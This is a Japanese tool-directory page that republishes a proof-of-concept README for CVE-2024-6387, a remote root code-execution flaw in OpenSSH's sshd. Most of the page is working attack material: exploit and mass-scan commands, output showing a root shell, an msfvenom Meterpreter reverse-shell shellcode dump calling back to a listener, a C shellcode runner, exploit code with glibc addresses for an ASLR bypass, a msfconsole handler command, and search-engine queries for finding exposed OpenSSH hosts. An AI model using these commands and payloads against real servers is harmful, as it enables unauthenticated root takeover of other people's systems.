Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-6387 — CVE-2024-6387 POC(現在編集中) | Kitploit
ツール/GitHubGitHub/vuducmanhno100-cloud/cve-2024-6387
脆弱性分析エクスプロイトシェルコードペネトレーションテストリモートアクセスツールペイロード開発
GitHubvuducmanhno100-cloud/cve-2024-6387

CVE-2024-6387

CVE-2024-6387 POC(現在編集中)

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-6387

CVE-2024-6387 POC (現在編集中)

openssh CVE-2024-6387 - PoC

📜 説明

注意: このスクリプトはクイックプロトタイプのPoCであり、エラーやバグが発生する可能性があります。 テスト済み: Kali Linux, ParrotSec, Ubuntu 22.04

OpenSSHサーバーにおけるリモートからの未認証コード実行の脆弱性

OpenSSHのサーバー(sshd)において、クライアントがLoginGraceTime秒(デフォルトでは120秒、古いOpenSSHバージョンでは600秒)以内に認証を行わない場合、sshdのSIGALRMハンドラーが非同期に呼び出されるというシグナルハンドラーの競合状態が発見されました。しかし、このシグナルハンドラーは、例えばsyslog()などの、async-signal-safeではないさまざまな関数を呼び出します。

📁 目次

  • 📖 詳細
  • ⚙️ 使い方
  • 🔍 ホスト検出
  • 🛠️ 緩和策
  • 💁 参考情報
  • 📌 作者
  • 📢 免責事項

✍🏻 詳細

技術的な詳細はこちらで確認できます。

この脆弱性は、Qualysの研究者によってMay 2024に発見され、識別子CVE-2024-6387が割り当てられました。sshdのシグナルハンドラーの競合状態が原因で、認証されていないリモート攻撃者がrootとして任意のコードを実行できる可能性があります。

"クライアントがLoginGraceTime秒(デフォルトでは120秒)以内に認証を行わない場合、sshdのSIGALRMハンドラーが非同期に呼び出され、async-signal-safeではないさまざまな関数を呼び出します。"

"リモートの未認証攻撃者は、この脆弱性を悪用してroot権限で任意のコードを実行できます。"

⚙️ 使い方

OpenSSHサーバーのスキャン

要件: 最新のpython3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

エクスポート (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

複数ターゲット

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

タイムアウトの追加

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

ネットワーク範囲

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

カスタムポート

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

権限昇格プロセス

リバースシェルの取得

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

カスタムペイロード

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

実際のペイロード

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

ペイロードのコンパイルと実行

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

ペイロードの実行

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

ペイロードのキャッチ

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 ホスト検出

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access
ツールをダウンロード